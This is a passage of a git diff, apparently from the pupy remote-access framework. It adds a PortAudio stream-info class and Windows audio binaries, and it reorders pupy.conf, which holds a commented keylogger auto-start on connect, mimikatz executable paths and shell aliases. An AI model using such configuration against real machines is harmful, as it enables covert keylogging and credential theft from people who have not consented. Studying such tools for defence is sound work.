paMacCoreFailIfConversionRequired = pa.paMacCoreFailIfConversionRequired + paMacCoreConversionQualityMin = pa.paMacCoreConversionQualityMin + paMacCoreConversionQualityMedium = pa.paMacCoreConversionQualityMedium + paMacCoreConversionQualityLow = pa.paMacCoreConversionQualityLow + paMacCoreConversionQualityHigh = pa.paMacCoreConversionQualityHigh + paMacCoreConversionQualityMax = pa.paMacCoreConversionQualityMax + paMacCorePlayNice = pa.paMacCorePlayNice + paMacCorePro = pa.paMacCorePro + paMacCoreMinimizeCPUButPlayNice = pa.paMacCoreMinimizeCPUButPlayNice + paMacCoreMinimizeCPU = pa.paMacCoreMinimizeCPU + + def __init__(self, flags=None, channel_map=None): + """ + Initialize with flags and channel_map. See PortAudio + documentation for more details on these parameters; they are + passed almost verbatim to the PortAudio library. + + :param flags: |PaMacCoreFlags| OR'ed together. + See :py:class:`PaMacCoreStreamInfo`. + :param channel_map: An array describing the channel mapping. + See PortAudio documentation for usage. + """ + + kwargs = {"flags" : flags, + "channel_map" : channel_map} + + if flags == None: + del kwargs["flags"] + if channel_map == None: + del kwargs["channel_map"] + + self._paMacCoreStreamInfo = paMacCoreStreamInfo(**kwargs) + + def get_flags(self): + """ + Return the flags set at instantiation. + + :rtype: integer + """ + + return self._paMacCoreStreamInfo.flags + + def get_channel_map(self): + """ + Return the channel map set at instantiation. + + :rtype: tuple or None + """ + + return self._paMacCoreStreamInfo.channel_map + + def _get_host_api_stream_object(self): + """Private method.""" + + return self._paMacCoreStreamInfo diff --git a/pupy/packages/windows/amd64/_portaudio.pyd b/pupy/packages/windows/amd64/_portaudio.pyd new file mode 100644 index 00000000..1126a56b Binary files /dev/null and b/pupy/packages/windows/amd64/_portaudio.pyd differ diff --git a/pupy/packages/windows/x86/_portaudio.pyd b/pupy/packages/windows/x86/_portaudio.pyd new file mode 100644 index 00000000..c85de98e Binary files /dev/null and b/pupy/packages/windows/x86/_portaudio.pyd differ diff --git a/pupy/pupy.conf b/pupy/pupy.conf index 5af61a87..c2e88bf9 100644 --- a/pupy/pupy.conf +++ b/pupy/pupy.conf @@ -8,6 +8,19 @@ certfile = crypto/cert.pem display_banner = yes colors = yes +[on_connect] +#run_module = gather/keylogger start + +[default_viewers] +image_viewer = eog +sound_player = totem + + +[mimikatz] +#these are kali 2.0 default path +exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe +exe_x64=/usr/share/mimikatz/x64/mimikatz.exe + [aliases] info = get_info pyexec = pyexec @@ -18,11 +31,3 @@ shell=interactive_shell kill = process_kill killme = pyexec -c 'import os;os.kill(os.getpid(),9)' #tasklist = shell_exec 'tasklist /v' - -[on_connect] -#run_module = gather/keylogger start - -[mimikatz] -#these are kali 2.0 default path -exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe -exe_x64=/usr/share/mimikatz/x64/mimikatz.exe